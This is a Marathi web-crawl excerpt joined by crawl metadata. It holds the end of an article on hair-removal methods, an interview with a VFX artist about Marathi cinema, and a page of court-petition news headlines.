काढण्यासाठी हार्ड वॅक्स वापरण्यात येते.यासाठी गरम केलेले हॉट वॅक्स केसांच्या ग्रोथच्या दिशेने लावून थंड केले जाते.त्यानंतर त्यावर एक कापडी पट्टी लावून ती विरुद्ध दिशेने ओढून वॅक्स काढले जाते.या तंत्रामुळे त्या वॅक्ससोबत त्या पट्टीला शरीरावरचे केस देखील चिकटून काढले जातात.\nसूचना- जर तुम्ही Retinoids असलेले अॅन्टी एजींग क्रीम वापरत असाल तर हॉट वॅक्स वापरु नका कारण त्यामुळे तुमच्या त्वचेवरील पेशी देखील निघून जातात व तुमची त्वचा संवेदनशील झाल्याने त्वचेला दाह होऊ शकतो.\nहात,पाय व पाठीसाठी सॉफ्ट वॅक्स वापरण्यात येते.हे वॅक्स थंड असून हार्ड वॅक्स पेक्षा पातळ असते.त्यामुळे ते सहज पसरते व शरीरावरचे केस काढण्यासाठी उत्तम असते.\nवॅक्सिंग केल्यावर दोन ते सहा आठवडे तुमची त्वचा मुलायम रहाते.अर्थात हे तुमच्या केसांची वाढ किती जलद आहे व तुमच्या अंगावर किती प्रमाणात केस येतात यावर अवलंबून असते.\nफायदा- वॅक्सिंग मुळे केस मुळासकट बाहेर येत असल्यामुळे त्याचा परिणाम इतर पर्यायांपेक्षा अधिक टिकतो.\nतोटा-जर तुम्हाला वॅक्सची अॅलर्जी असेल तर मात्र वॅक्सिंग केल्यावर तुमच्या त्वचेवर लालसर पुरळ,खाज,फोड अथवा सूज येऊ शकते.वॅक्सिंग करताना वेदना होतात त्यामुळे जर तुमची त्वचा संवेदनशील असेल तर वॅक्सिंग करण्यापूर्वी पुन्हा एकदा विचार नक्की करा.तसेच वाचावॅक्सिंगनंतर त्वचेवर होणारी जळजळ कमी करण्यासाठी खास टीप्स \nन्यू दिल्लीच्या All India Institute of Medical Sciences च्या Dermatologists च्या मते वॅक्सिंग केल्यामुळे Folliculitis ही एक सामान्य समस्या होते. वॅक्सिंग केल्यामुळे दंड व मांड्याच्या आतील भागामध्ये इनफेक्शन व जळजळ होणे शक्यता अधिक असते.\n3.थ्रेडींग-भारतामध्ये आयब्रो व चेह-यावरील इतर भागातील केस काढण्यासाठी थ्रेडींग करण्यात येते.या प्राचीन हेअर रिमुव्हल तंत्रानूसार तोंडामध्ये दो-याचे एक टोक पकडून हाताने दो-याच्या दुस-या टोकाकडील भागाच्या सहाय्याने एखाद्याच्या चेह-यावरील केस ओढून काढण्यात येतात.ही हालचाल तज्ञ व्यक्तीद्वारे जलद गतीने करावी लागते.तुम्ही स्वत: देखील हे तंत्र वापरु शकता पण प्रोफेशनल व्यक्तीची मदत घेणे नेहमीच चांगले.तसेच वाचा शरीरावरील या ‘4’ भागांवरचे केस मूळीच उपटू नका \nआयब्रो व अप्पर लिप साठी थ्रेडींग करणे फायद्याचे ठरते.आयब्रो चांगल्या कोरल्या जाव्यात यासाठी अनुभवी ब्युटीशियन कडेच जा नाहीतर तुमच्या आयब्रोचा आकार बिघडण्याची शक्यता असते.या तंत्राचा परिणाम देखील तुमच्या केसांच्या वाढीनूसार २ ते ३ आठवडे टिकू शकतो.थ्रेडींगने आयब्रो केल्यानंतर होणारा त्रास दूर करतील या खास टीप्स \nफायदा-चेह-यावरील केस काढण्यासाठी ही एक सोपी व स्वस्त पद्धत आहे.तुमच्या आयब्रोचा आकार चांगला झाल्यामुळे तुम्ही अधिक आकर्षित दिसू लागता.\nतोटा-थ्रेडींगमुळे वेदना होतात व लालसर पुरळ देखील येते.तसेच यामुळे हायपो व हायपर पिगमेंटेशन होते.दाह होतो.\n4.हेअर रिमुव्हल क्रीम-या क्रीममधील केमिकल त्वचेमध्ये मुरते.यासाठी ज्या भागामधील केस काढायचे असतात त्या भागावर या क्रीमचा पातळ थर लावावा.३ ते ५ मिनीटांनी अथवा त्या प्रॉडक्टवर दिलेल्या सूचनेनूसार Spatula अथवा ओल्या फडक्याने खालून वरच्या दिशेने ते क्रीम पुसून काढावे.त्यानंतर त्वचा धुवून कोरडी करावी.\nहेअर रिमुव्हल क्रीम शरीरावर कोणत्याही भागावर लावता येते.पण त्याचा वापर अप्परलीप,अंडरआर्म व बिकनी या भागात करणे फायदेशीर ठरते.\nतुम्ही आठवड्यातून एकदा हे क्रीम वापरु शकता.मात्र लक्षात ठेवा कोणतीही हेअर रिमुव्हल पद्धत एकदा वापरल्यावर पुन्हा वापरण्यापूर्वी कमीतकमी ७२ तासांची वाट पहा.तसेच वाचा प्युबिक एरियावरील केस काढण्यासाठी हेअर रिमुव्हल क्रीमचा वापर करावा का \nफायदा- हेअर रिमुव्हल क्रीम वापरणे वेदनादायक नसल्याने,त्यामुळे कोणतीही जखम होत नसल्याने व तुम्ही ही पद्धत स्वत: घरी देखील वापरु शकत असल्याने फायदेशीर ठरते.\nतोटा-काही लोकांना हेअर रिमुव्हल क्रीमची अॅलर्जी असते.त्यामुळे त्यांना या क्रीमचा वापर केल्यास लालसर पुरळ येणे,जळजळ व वेदना होतात.यासाठी ही क्रीम वापरण्यापूर्वी विशेषत: जर तुम्ही ही पद्धत प्रथम वापरत असाल तर कमीतकमी २४ तास आधी एक पॅच टेस्ट जरुर करा.तसेच अशा हेअर रिमुव्हल क्रीमला एक प्रकारचा उग्र वास येतो व क्रीम वापरल्यावर तो वास तुमच्या त्वचेवर देखील काही तास रहातो.वाचा या ‘8’ कारणांमुळे शरीरावर वाढतात अनावश्यक केस\n5. लेझर-जर तुम्हाला शरीरावरचे केस कायमस्वरुपी काढून टाकायचे असतील Laser-assisted Hair Removal (LHR) हे तंत्र अधिक फायदेशीर आहे.चांगल्या परिणामांसाठी हे उपचार Dermatologists,Physicians अथवा Non-Physicians करुन घ्या.या पद्धतीमध्ये Photothermolysis या तत्वावर कार्य केले जाते.ज्या तंत्राद्वारे त्वचेखाली इतर टीश्यूचे नुकसान न करता केस असलेल्या काही विशिष्ट टीश्यूजनां नष्ट करण्यात येते.वाचा लेझर हेअर रिडक्शन – अंगावरचे केस कमी करण्याचा वेदनारहित उपाय \nआजकाल हे तंत्र सर्व प्रकारच्या त्वचेच्या लोकांसाठी उपलब्ध आहे.या पद्धतीसाठी Ruby Laser, Alexandrite Laser, Diode Laser, Intense Pulsed Light Source व The Neodymium:yttrium-Aluminium-Garnet (Nd:YAG) Laser अशा अनेक प्रकारचे लेझर वापरण्यात येतात.उदा.Nd:YAG Laser हे लेझर तंत्र गडद रंगाची त्वचा असलेल्या लोकांवर प्रभावी अाहे इतर रंगाच्या त्वचेवर ते कमी प्रभावी आहे.\nसमाधानकारक परिणामांसाठी तुम्हाला एका पेक्षा अधिक उपचारांची गरज लागू शकते.सहा महिन्यांनी केलेल्या शेवटच्या उपचारानंतर तुमच्या शरीरावरचे ३० ते ५० टक्के केस कमी होतात.\nत्वचेवर लालसर पॅच उठणे.\nहायपो आणि हायपर पिगमेंटेशन\nआयब्रो लेझरमुळे डोळ्याच्या समस्या होऊ शकतात.\nउपचार न केलेल्या भागातील केसांमध्ये वाढ होणे असे क्वचित घडते पण या उपचारांचा हा एक दुष्परिणाम होऊ शकतो.\nडोळ्यांच्या समस्येशिवाय इतर समस्या तात्पुरत्या असतात.तसेच वाचा अनावश्यक केस काढण्याच्या या विविध उपचारपद्धतींचे काय दुष्परिणाम होतात.\nछाया चित्र सौजन्य : Shutterstock\nचारकोल वापरुन अॅक्नेची समस्या खरंच कमी करता येते का\nअॅक्नेवर फायदेशीर ठरतील या '५' स्मूथीज \nइन आसान तरीकों से हटाएं अंडरआर्म्स के बाल\nप्रेगनेंसी को आसान बनाना है, तो हर दिन लीजिए गहरी सांस\nWorld Pharmacist day 2018: तो यूं शुरू हुआ ”वर्ल्ड फार्मासिस्‍ट डे” मनाने का सिलसिला\nहेल्दी स्किन के लिए इस्तेमाल करें ये 5 जड़ी-बूटियां\nखिचिया पापड़- शाम के नाश्ते के लिए है एक हेल्दी रेसिपी \n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00277.warc.wet.gz", "language": "mr", "language_score": 0.95, "bucket": "all"} {"url": "https://maharashtratimes.indiatimes.com/entertainment/interview/work-of-technicians-is-neglected/articleshow/63997000.cms", "date_download": "2018-09-25T18:13:47Z", "digest": "sha1:GPQFJ5Q4GKCGXXTPDADOGPOPVLHKSF5G", "length": 21729, "nlines": 144, "source_domain": "maharashtratimes.indiatimes.com", "title": "work of technicians: work of technicians is neglected - तंत्रज्ञांच्या कामाकडे दुर्लक्ष होतंय! | Maharashtra Times", "raw_content": "\nशिळ घालत संवाद साधणाऱ्या गावची कथा\nशिळ घालत संवाद साधणाऱ्या गावची कथाWATCH LIVE TV\nतंत्रज्ञांच्या कामाकडे दुर्लक्ष होतंय\nतंत्रज्ञांच्या कामाकडे दुर्लक्ष होतंय\n'हाफ तिकिट', 'बायोस्कोप', 'पुणे ५२', 'कच्चा लिंबू', 'उबंटू', 'बघतोस काय मुजरा कर' अशा पस्तीसहून अधिक सिनेमांच्या निर्मितीत व्हीएफक्स कलावंत अमेय गोसावीचा सहभाग आहे. मराठी सिनेमात व्हीएफएक्स तंत्रज्ञानाचा परिणामकारक वापर होताना, तंत्रज्ञांच्या कामाकडे दुर्लक्ष होत असल्याचा मुद्दा त्यानं मांडला. अशी दखल घेताना त्यांना पुरस्कारांत नामांकन मिळावं, ही अपेक्षाही त्यानं बोलून दाखवली. 'डॉनी डार्को' सिनेमा वारंवार पाहून त्याच्या प्रेमात पडलेल्या अमेयला इंडस्ट्रीत गंमतीनं डॉनी म्हटलं जातं. आगामी सिनेमांमधल्या त्याच्या कामानिमित्त झालेल्या गप्पा.\nतू 'व्हीएफक्स' तंत्रज्ञानाकडे कसा वळलास लोडिंग पिक्चर्स ही निर्मिती संस्था आणि त्याअंतर्गत सुरु झालेल्या प्रकल्पांबद्दल काय सांगशील\nलहानपणापासून 'कॅमेऱ्या'चं भयंकर आकर्षण आहे. सिनेमा ही संकल्पना समजायला लागल्यावर सिनेमा घडतो कसा आणि त्यातल्या तांत्रिक बाबींकडे वळलो. मध्यमवर्गीय मराठी कुटुंबातला असल्याने सुरुवातीला संभ्रमात होतो, पण तेवढ्यात 'लॉर्ड ऑफ द रिंग्ज' हा सिनेमा प्रदर्शित झाला आणि माझ्या शंकांचं निरसन झालं. हा सिनेमा माझ्या आयुष्यातला 'टर्निंग पॉईंट' ठरला. त्यातले व्हीएफएक्स पाहून मी थक्क झाला. ते अचाट, भन्नाट आणि अकल्पित आहे असं वाटलं आणि त्याचा पाठपुरावा करायचं ठरवलं. मुंबईतल्या 'अरेना अनिमेशन अकादमी'तून आठ अॅडव्हान्स्ड सर्टिफिकेट कोर्स केले. त्यानंतर न्यूझीलंड इथं 'व्हीएफएक्स अँड मोशन ग्राफिक्स'चं शिक्षण घेतलं. इथं परतल्यावर 'टूलबॉक्स स्टुडिओ' मध्ये इंटर्न ते 'कन्सल्टंट व्हीएफएक्स प्रोड्युसर' असा प्रवास झाला. चेतन देशमुखच्या अॅनिमेशन स्टुडिओसाठी काम केलं. हा सगळं अनुभव गाठीशी आल्यावर मला असं वाटलं की आपण स्वतःची कंपनी सुरू करावी. या विचारातून 'लोडींग पिक्चर्स' या प्रॉडक्शन हाऊसची निर्मिती झाली. त्यात काही लघुपट आणि व्हिडिओ केले. त्यानंतर 'लोडींग पिक्सेल्स' या व्हीएफएक्स कंपनीला सुरुवात केली. आता कलाकारांचं सोशल मीडिया मार्केटिंग, रेस्टोरंट्सचं ब्रँडिंग आणि कास्टिंगसाठी म्हणून 'लोडींग टॅलेंट' हे नवं व्हेंचर सुरू केलंय. लोडींग पिक्चर्सअंतर्गत मी ३५ सिनेमे, तर पिक्सेल्स अंतर्गत १२-१३ सिनेमांच्या व्हीएफक्सवर काम केलं. सध्या रेशमी टिपणीस आणि निरंजन नामजोशी या कलाकारांच्या मार्केटिंगचं काम सुरू केलंय.\nतंत्रज्ञानाच्या क्षेत्रातला प्रवास खडतर असल्याचं बोललं जातं, तुझा अनुभव काय आहे\n-व्हीएफएक्स आर्टिस्टला क्रिएटिव्ह इंजिनीयर म्हणतात, किंवा मल्टिमीडिया आर्टिस्ट म्हणून ओळखलं जातं. या क्षेत्रात वळण्यापूर्वी सिनेमाच्या तांत्रिक बाजूंची आवड हवी. सिनेमा या माध्यमावर प्रेम हवं, कारण सॉफ्टवेअर कोणालाही शिकता येतं, पण ते वापरायचा कसं हे कसब जमायला हवं. सुरुवातीची काही वर्षं यात खडतर प्रवास असतो. मानसिक आणि शारीरिक हाल सहन करावे लागतात. त्यामुळे या सगळ्याचा विचार करून व्हीएफएक्सकडे वळावं.\nमराठी सिनेमात अत्याधुनिक तंत्रज्ञानाचा वापर वाढतोय. आगामी सिनेमात व्हीएफएक्स तंत्रज्ञान मोठ्या प्रमाणावर दिसणार आहे. त्याचा विचार करून सिनेमा लेखन होतं का\nमराठीत अजून तरी व्हीएफएक्स तंत्रज्ञान समोर ठेवून सिनेमे लिहिले गेले नाहीत. शॉट्स लिहिले गेले आहेत, पण कथानक व्हीएफएक्ससाठी सुटेबल असं घडलेलं नाही. छोट्या गिमिक्स, शॉट्ससाठी व्हिज्युअल इफेक्ट्सचा वापर लोक करतात. 'कच्चा लिंबू'साठी आम्ही चाळीचा सेट बांधून १९६० मध्ये होती तशी मुंबई इफेक्ट्स देऊन उभारली. त्यात ५००-५५० शॉट्स व्हीएफएक्स होते आणि हे कुणालाही माहिती नाही. आगामी 'फर्जंद' हा युद्धपट अतिशय उच्च पातळीवर चित्रीत झाला आहे, पण त्यातल्या व्हीएफएक्सची प्रक्रिया फार मोठी होती. मी दिग्दर्शकावबरोबर दृश्य ठरवण्यासाठी तीनवेळा रेकी आणि दीड वर्षं तयारी केली. थोडी भव्य दिव्यता आणि विशेष वाटावं म्हणून या सिनेमात व्हीएफएक्स वापरले. या सिनेमात जवळपास ८५० शॉट्स व्हीएफएक्स आहेत. बजेट, वेळ आणि स्क्रिप्टची गरज लक्षात घेऊन व्हीएफएक्स ठरवले जातात. हॉलिवूडमधले मार्व्हल, डीसीचे सिनेमे आपल्याला माहिती असतात. हे सगळं काल्पनिक आहे. त्यात जितकं दाखवू तितकं कमी, ही त्यातली मर्यादा आहे. प्राणी दाखवायचे असतील, तर आपल्याला ते कसे दिसतात हे माहिती असतात. त्यामुळे त्यातला जिवंतपणा जपणं महत्त्वाचं ठरतं. सिनेमात कुठले व्हीएफएक्स वापरले हे सांगितलं, तर त्यातली गंमत निघून जाते. जादू कशी केली, हे सांगून कसं चालेल.\nव्हीएफएक्ससाठी वेगळं बजेट आवश्यक असतं. मराठी निर्माते त्यासाठी कितपत तयार आहेत\nमराठी सिनेमात तांत्रिक प्रगती साधत आहे. व्हीएफक्स वापराकडे अनेक निर्मात्यांचा कल दिसून येतो, पण बजेटचे वांदे केले जाऊ नयेत असं मी म्हणेन. सिनेमासाठी चांगलं बजेट ठेवावं. हॉलिवूडमध्ये जे सॉफ्टवेअर वापरतात ते आणि आपण इथं जी वापरतो त्यात जमीन आस्मानाचा फरक आहे. त्यामुळे ती अडचण दूर व्हायला वेळ लागेल, पण बदल होतील. मला स्वतःला थ्रीडी आवडत नाही, पण मराठीत आयमॅक्स सिनेमे आवडतात. तसे सिनेमे मराठीत लिहिले पाहिजेत.\nतुझ्या आगामी सिनेमांबद्दल काय सांगशील\n-यू-ट्युबची वाढती लोकप्रियता पाहून व्लॉग्ज करायची इच्छा निर्माण झाली. 'केसी नाईस्टॅट' या यू-ट्युबरमुळे प्रेरित झालो. लवकरच मी 'डॉनी डेज' नावानं लाइफस्टाइल व्लॉग सुरू करणार आहे. कंबोडिया, व्हियेतनाम आणि ऑस्ट्रेलियाला भटकून आलो. त्या प्रवासाचं चित्रण, संकलानवर काम सुरू आहे. फक्त ट्रॅव्हल व्लॉगपुरते हे व्हिडीओ मर्यादित नसतील. मी कॅमेरा घेऊन कधी कोणत्या सिनेमाच्या सेटवर, रेस्टोरंटमध्ये, बाईक राइडला गेलो, तर तेव्हा मला जसा वाटेल तसं दिलखुलास पद्धतीनं मी ते शूट करणार आहे. 'फर्जंद' सिनेमा प्रदर्शनाच्या मार्गावर आहे. मी स्वतःचा एक सिनेमा लिहायला घेतला आहे.\nराष्ट्रीय पुरस्कार वगळले, तर आपल्या सिनेसृष्टीत जे महत्त्वाचे पुरस्कार सोहळे आहेत त्यात आणि राज्यस्तरीय पुरस्कारांमध्ये 'व्हीएफएक्स' साठी नॉमिनेशन द्यायला हवं, अशी अपेक्षा अमेयनं व्यक्त केली. तो म्हणाला, 'आजोबा', 'राक्षस' अशा अलीकडच्या सिनेमांमध्ये व्हीएफएक्सचा उत्तम वापर झालेला दिसून आला आहे. व्हीएफएक्स कलाकारांची दखल घेतली जावी यासाठी नामांकन असावं. इट्स हाय टाइम नाऊ.'\nमिळवा गप्पाटप्पा बातम्या(interview News in Marathi) से मराठी बातम्या( Marathi News) तुमच्या मोबाइलवर मिळवण्यासाठी डाउनलोड करा Marathi News App ...आणि प्रत्येक बातमीबाबत राहा अपडेट\ninterview News याच्याशी संबंधित ताजे अपडेट्स मिळवण्यासाठी मटा ऑनलाइनचे फेसबुक पेज लाइक करा\nसई ताम्हणकर आता 'अशी' दिसतेय\nशनाया निघाली न्यूयॉर्कला, चैन पडेना...\nसापानं लढवलेली युक्ती पाहून थक्क व्हाल\n'तुला पाहते रे'मधील ईशा नेमकी आहे कोण\nकोहली, मीराबाई खेलरत्न पुरस्काराने सन्मानित\nराजस्थानच्या मुख्यमंत्र्यांच्या सुरक्षा रक्षकाने चोरले पैसे\nमुस्लिम मुलासोबत प्रेमसंबंध; पोलिसांची तरुणीला मारहाण\nपती दिसायला सावळा, पत्नीने किस करताना चावली जीभ\nमेणबत्तीच्या प्रकाशात रुग्णांना तपासण्याची सक्ती\n‘रिस्क’ घेऊन काम करणं आवडतं\nहत्तींशी जुळलं अनोखं नातं\nप्रेक्षकांमुळे वाढलं अभिनेत्रींचं मानधन\nदीड वर्षाची भरपाई करायचीय\nमटा न्यूज अॅलर्ट सबस्क्राइब करा\nदिवसभरातील ठळक बातम्या पाहा तुमच्या डेक्सस्टॉपवर\n*केव्हाही ब्राउजर सेटिंग्ज बदलून नोटिफिकेशन्स ऑफ करू शकता.\nमटा ऑनलाइन च्या अॅपसोबत\n1तंत्रज्ञांच्या कामाकडे दुर्लक्ष होतंय\n2'राझी'चं संगीत आमचं भाग्य\n4होऊ द्या पुस्तकांवर सिनेमे\n6जे घडतं, तेच दाखवतो\n7आहोत आम्ही सुंदर, मग काय\n8कलाकार खूप सहन करतात\n10‘पिक्चर’ अजून बाकी आहे", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00278.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "https://maharashtratimes.indiatimes.com/topics/petition", "date_download": "2018-09-25T18:07:24Z", "digest": "sha1:SCLV73LS6ITPA5EEHBPKBFK2F5EELWWF", "length": 27506, "nlines": 302, "source_domain": "maharashtratimes.indiatimes.com", "title": "petition Marathi News, petition Photos and Videos - Maharashtra Times", "raw_content": "\nग्रामीण मुलींना १२वी पर्यंत STचा मोफत प्रवास\nचित्रनगरीतील जमीन सुभाष घईंच्या संस्थेला\nप्राध्यापकांचा संप; महाविद्यालयांमध्ये शुक...\nचंद्रात दिसले साईबाबा; मुंबईत अफवांचा बाज...\nGanpati Visarjan: मुंबईत निच्चांकी ध्वनी प...\n‘कर्जफेडीचे प्रयत्न ‘ईडी’ने उधळवले’\n'मुंबई स्फोटादरम्यान राजकारणाचे गुन्हेगारीकरण सर्व...\n...यासाठी आदिवासी मुली बनतायत माओवादी\nमी स्वप्नात भगवान श्रीरामांना रडताना पाहिल...\nकाँग्रेसचा भारताबाहेर आघाडीचा शोधः मोदी\n'शेतकऱ्यांच्या समस्या सोडवा; तरच बुलेट ट्र...\n'ब्लड टेस्ट'मधून कळणार झोप झाली की नाही\nभारतावर प्रेम; मोदी माझे मित्र: ट्रम्प\nअभिलाश टॉमी यांची सुटका\nमुकेश अंबानी रोज कमावतात ३०० कोटी रुपये\nPetrol Price: पेट्रोल, डिझेल आणखी महागणार\nईडीने मला कर्ज फेडू दिले नाही: मल्ल्याचा आ...\nअजित मोहन यांच्यावर फेसबुक इंडियाची धुरा\nगुंतवणूकदारांचे नुकसान साडेआठ लाख कोटींचे\n२३ महिन्यांनंतर धोनी पुन्हा कर्णधार\nधोनीकडूनच गिरवले कर्णधारपदाचे धडे\nफिक्सिंग: वर्षभरात ५ कर्णधारांशी बुकींचा स...\nShikhar Dawan: 'मोठी धावसंख्या करणं रोहितक...\nSunil Gavaskar: रोहितमध्ये क्लाइव्ह लॉइड द...\nAsia Cup आज आजमावणार मधल्या फळीला\nमी सीईओ आणि आई दोन्ही बनू शकतेः प्रियांका\n'मंटो'च्या प्रदर्शनात तांत्रिक विघ्न\nआलिया, मानधन वाढव; वरुणचा सल्ला\n'देसी गर्ल' प्रियांका चोप्राला दम्याचा आजा...\nचीनची लोकप्रिय अभिनेत्री फॅन बिंगबिंग बेपत...\n'लवरात्रि': सलमान खानविरोधात होणार तक्रार ...\nसोशल मीडिया: फायद्याची गोष्ट\nगेम डिझायनिंमध्ये करियर करायचंय\nकौशल्य विकासावर द्या भर\nसोशल मीडियाच्या परिघाबाहेर पडा\nअंतर्गत तक्रार निवारण समिती\nएलिपथयम् : नियतीचा सापळा\nअंतर्गत तक्रार निवारण समिती\nएलिपथयम् : नियतीचा सापळा\nकोहली, मीराबाई खेलरत्न पुरस्कारान..\nमुस्लिम मुलासोबत प्रेमसंबंध; पोलि..\nपती दिसायला सावळा, पत्नीने किस कर..\nमेणबत्तीच्या प्रकाशात रुग्णांना त..\nतामिळनाडूतील हा अवलिया काय करतोय ..\n'काश्मीरमधील हिंसाचार थांबायला पा..\nतीन तलाक अध्यादेशाला हायकोर्टात आव्हान\nकेंद्रातील मोदी सरकारने १९ सप्टेंबर रोजी तीन तलाक विधेयकाबाबत काढलेल्या अध्यादेशाला मुंबई हायकोर्टात एका जनहित याचिकेद्वारे आज आव्हान देण्यात आले आहे.\nराम कदमांविरुद्ध न्यायालयात याचिका\n'दहीहंडी उत्सवाच्या दिवशी भाजप आमदार राम कदम यांनी मुली व महिलांविषयी वादग्रस्त व आक्षेपार्ह विधान केल्यानंतर त्याविषयी तक्रार देऊनही पोलिस गुन्हा नोंदवण्यास तयार नाहीत. पोलिसांवर वरिष्ठ पातळीवरून दबाव असल्याने पोलिसांना गुन्हा नोंदवण्याचे निर्देश द्यावेत', अशी विनंती करणारी फौजदारी रिट याचिका मुंबई उच्च न्यायालयात करण्यात आली आहे.\nहॉटेलमधील पाणी वाचवा; ऑनलाइन पिटीशन मोहीम\nतुम्ही हॉटेल किंवा रेस्टॉरंटमध्ये जाता, त्यावेळेस तुम्ही न मागताच वेटर तुम्हाला सर्वात आधी पाणी आणून देतो. हॉटेलमध्ये थांबेपर्यंत तुम्ही किती वेळा पाणी पिता हे कधी मोजलंय तुम्ही नाही ना तुम्ही अर्धवट टाकलेल्या पाण्याचं काय होतं याचा कधी विचार केलाय याचा कधी विचार केलाय नाही ना मग त्यावर जरूर विचार करा. या संदर्भात एक ऑनलाइन पिटीशन करण्यात आली असून त्याद्वारे या पाण्याविषयी जनजागृती करण्यात येत आहे.\nदहीहंडीत आदेशभंग; सरकार विरोधात याचिका\nदहीहंडी उत्सवाबाबत न्यायालयाने दिलेल्या आदेशांचा सर्वत्र सर्रासपणे भंग झाल्याचा आरोप करत मुंबई उच्च न्यायालयात राज्य सरकारच्याविरोधात न्यायालय अवमान याचिका दाखल करण्यात आली आहे. याचिकादार स्वाती पाटील यांनी अॅड. नितेश नेवाशे यांच्यामार्फत ही याचिका दाखल केली आहे.\n'मुंबईतील महापालिकेच्या विविध रुग्णालयांत शवविच्छेदन (पोस्ट मॉर्टेम) हे डॉक्टरांकडून होत नसून सफाई कामगारांकडून करण्यात येते. इतकेच नव्हे तर महिला मृतदेहांचेही शवविच्छेदन सफाई कामगारांकडून केले जाते', ...\nमराठा आरक्षण आंदोलनाविरोधात याचिका\nमराठा आरक्षण आंदोलनाविरोधात मुंबई हायकोर्टात याचिका दाखल करण्यात आली असून हिंसक आंदोलनाला चाप लावावा आणि सार्वजनिक मालमत्तांचे नुकसान केल्याप्रकरणी भरपाई वसूल करण्याचे निर्देश द्यावेत, अशी विनंती याचिकादाराने केली आहे.\nमहामार्गावरील खड्ड्यांच्या प्रश्नावर याचिकेची वेळ\nमुंबई-गोवा या राष्ट्रीय महामार्गावरील खड्ड्यांच्या प्रश्नावर एखाद्याला याचिका करण्याची वेळच का येते असा संतप्त सवाल करत मुंबई उच्च न्यायालयाने मंगळवारी राज्य सरकारला पुन्हा धारेवर धरले.\nन्या. लोया मृत्यू: पुनर्विचार याचिका फेटाळली\nन्यायमूर्ती बी. एच. लोया यांच्या मृत्यूप्रकरणी मुंबई वकील संघटनेने दाखल केलेली पुनर्विचार याचिका सुप्रीम कोर्टाने फेटाळली आहे. सुप्रीम कोर्टाने याप्रकरणी एप्रिल महिन्यात दिलेला निकाल बदलावा, असा आग्रह या याचिकेद्वारे धरण्यात आला होता.\nसाध्वी प्रज्ञाचीही आरोपमुक्तीसाठी याचिका\nमालेगाव बॉम्बस्फोट प्रकरणातून आपल्याला पूर्णपणे आरोपमुक्त करावे, अशा विनंतीची याचिका आरोपी लेफ्टनंट कर्नल प्रसाद पुरोहितच्या पाठोपाठ आता आरोपी साध्वी प्रज्ञासिंह ठाकूर व आरोपी समीर कुलकर्णी यांनीही केली आहे.\nवापरलेल्या कंडोमवर प्रक्रिया करा; याचिका दाखल\nसॅनिटरी नॅपकिन आणि डायपरच्या कचऱ्याच्या विघटनाचा प्रश्न चर्चेत असताना आता कंडोमचा कचऱ्याचाही मुद्दा पुढे आला आहे. वापरलेल्या कंडोमला अविघटनशील कचरा जाहीर करावे, त्याचे वर्गीकरण आणि प्रक्रिया करून कंडोम नष्ट करावे अशी मागणी करणारी पर्यावरणहित याचिका राष्ट्रीय हरित न्यायाधिकरणाकडे (एनजीटी )दाखल झाली आहे.\nमहापालिका क्षेत्रातील समांतर जलवाहिनी प्रकल्पासंबंधी सर्वोच्च न्यायालयात सुरू असलेल्या सुनावणीत राजेंद्र दाते-पाटील यांच्या वतीने हस्तक्षेप याचिका करण्यात आली आहे.\nसंभाजी भिडे यांच्याविरोधात उच्च न्यायालयात याचिका\n'माझ्या शेतातील आंबा खाल्ल्याने जवळपास दीडशे जोडप्यांना मुलगे झाले. ज्यांना मुलगा हवा होता, त्यांना मुलगाच झाला', 'संत तुकाराम व संत ज्ञानेश्वर यांच्यापेक्षाही मनु श्रेष्ठ होते', अशी बेधडक वक्तव्ये करून समाजात खळबळ उडवून देणारे 'श्री शिवप्रतिष्ठान हिंदुस्थान'चे संस्थापक मनोहर ऊर्फ संभाजी भिडे हे आता कायद्याच्या कचाट्यात अडकले आहेत.\nपंचगंगा प्रदूषणप्रश्नी अवमानयाचिका दाखल करणार\n'पंचगंगा नदी प्रदूषण रोखण्यासंबंधी हायकोर्टाच्या आदेशाप्रमाणे ठोस उपाययोजना होत नाहीत. विभागीय आयुक्तांच्या अध्यक्षतेखालील समितीने प्रत्येक दोन महिन्याला कोर्टाचा अहवाल देणे बंधनकारक आहे. मात्र त्यांनी अहवाल दिलेला नाही. विभागीय आयुक्त, कोल्हापूर महानगरपालिका, इचलकरंजी नगरपालिका फक्त बैठका घेणे आणि कागदी घोडे नाचविण्याचे काम करीत आहेत. म्हणून त्यांच्याविरोधात अवमान याचिका दाखल करणार आहे', अशी माहिती हायकोर्टाचे वकील अॅड. धैर्यशील सुतार यांनी प्रसिध्दी पत्रकातून दिली.\n...तर जनहित याचिका दाखल करू\nजिल्ह्यातील जामनेर तालुक्यात गेल्या आठवड्यात वाकडीत घडलेली घटनेतील आरोपींवर कठोर कारवाई करण्यात यावी. याबाबत सरकारने कारवाई केली नाही तर आपण जनहित याचिका दाखल करू, असा इशारा बहुजन रयत परिषदेचे संस्थापक अध्यक्ष तथा माजी मंत्री प्रा. लक्ष्मण ढोबळे यांनी पत्रकार परिषदेत दिला.\nनगरसेविका पाटील विरूद्ध याचिका\nभारतीय जनता पार्टीच्या नगरसेविका प्रगती पाटील यांनी शहरात विविध ठिकाणी अतिक्रमण केले असल्याने त्यांना अपात्र करण्यात यावे,\nराज ठाकरेंचा हजेरीमाफी अर्ज नामंजूर\n२००८मधील दंगल प्रकरणात कन्नड कोर्टाने मनसे अध्यक्ष राज ठाकरे यांचा नामंजूर केलेला हजेरीमाफीचा रद्द केलेला अर्ज जिल्हा व अतिरिक्त सत्र न्यायाधीश एच. ए. पाटील यांनीही मंगळवारी कायम केला.\nकर्नाटकात भाजपने १९ मे रोजी बहुमत सिद्ध करावे : सर्वोच्च न्यायालय\nSC/ST Act: केंद्राची पुनर्विचार याचिका\nअॅट्रॉसिटी कायद्यातील फेरबदलाच्या निर्णयाच्या विरोधात दलित संघटनांनी 'भारत बंद'ची हाक दिली असतानाच, केंद्र सरकारनं आज या मुद्द्यावर सर्वोच्च न्यायालयात पुनर्विचार याचिका दाखल केली. अॅट्रॉसिटी कायद्यात बदल करू नये, अशी मागणी सरकारनं या याचिकेद्वारे केली आहे.\n'अॅट्रॉसिटी' फेरबदल: केंद्राची पुर्नविचार याचिका दाखल\nअॅट्रॉसिटी कायद्यातील फेरबदलाविरोधात दलित संघटनांचा भारत बंद\n‘DJ’साठी वकिलांची लढाई; चढणार सुप्रीम कोर्टाची पायरी\nमुकेश अंबानी रोज कमावतात ३०० कोटी रुपये\nकोहली, मीराबाई खेलरत्न पुरस्काराने 